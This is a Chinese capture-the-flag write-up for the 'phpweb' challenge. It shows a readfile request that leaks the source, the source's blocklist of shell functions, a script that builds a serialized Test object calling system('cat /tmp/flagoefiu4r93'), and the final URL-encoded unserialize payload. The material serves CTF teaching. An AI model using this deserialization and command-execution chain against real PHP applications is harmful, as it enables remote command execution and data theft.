【学习笔记 47】 buu [网鼎杯 2020 朱雀组]phpweb

0x00 知识点

1. readfile函数读取文件
2. 反序列化实现命令执行

0x01 知识点详解

1. 什么是readfile函数？
   答：readfile() 函数读取一个文件，并写入到输出缓冲。
   如果成功，该函数返回从文件中读入的字节数。如果失败，该函数返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 ‘@’ 来隐藏错误输出。
2. 什么是反序列化？
   答： 可以去看看我之前的文章https://blog.csdn.net/weixin_43553654/article/details/107686899

0x02解题思路

1.打开网站一看
被这个头吓了一跳，F12查看一下发现也没什么东西，但是看到网站搁几秒钟就会刷新一下，获取一个新的时间，就推测每次刷新其实都是执行了一次获取及时时间的命令，大概率是data()函数，抓一下包看看。
可以看到这里执行了data()函数，那我们是不是可以利用这里的命令执行来执行我们想要的函数。比如利用readfile()函数读取一下源代码

func=readfile&p=index.php

得到源码，但是发现被过滤了大量的函数，却用到了魔法函数。

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() { //这里利用的魔法函数，这不就考虑利用序列化的数组完成绕过，之后再利用反序列化函数行命令执行
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

在尝试直接读取flag文件无果后感觉是不是flag的文件名不是常见的flag，f1ag这种常见的，那就查看一下文件，但是由于过滤没法直接执行，那就使用上面说的利用序列化来绕过,为了以防万一，就在进行一次url转码。接下来构造payload

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
$a = new Test();
#$a->p = 'ls ../../../';     //这里的几步都是用来查看flag文件的位置时构造的命令
#$a->p ="find / -name 'flag*'";
$a->p = 'cat /tmp/flagoefiu4r93';
$a->func = 'system';
print_r(urlencode(serialize($a)));
?>

直接放到phpstudy里执行一下得到结果
接下里在burp里构造payload

func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A22%3A%22cat+%2Ftmp%2Fflagoefiu4r93%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

查看flag